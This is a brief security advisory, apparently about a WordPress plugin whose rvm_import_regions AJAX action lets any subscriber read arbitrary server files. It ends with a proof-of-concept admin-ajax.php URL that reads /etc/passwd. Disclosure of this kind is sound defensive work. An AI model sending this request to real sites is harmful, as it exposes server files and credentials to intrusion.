The plugin does not have proper authorisation, CSRF checks and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user, such as subscriber, to read arbitrary files on the web server
As a subscriber, open https://example.com/wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd and view the source to get the data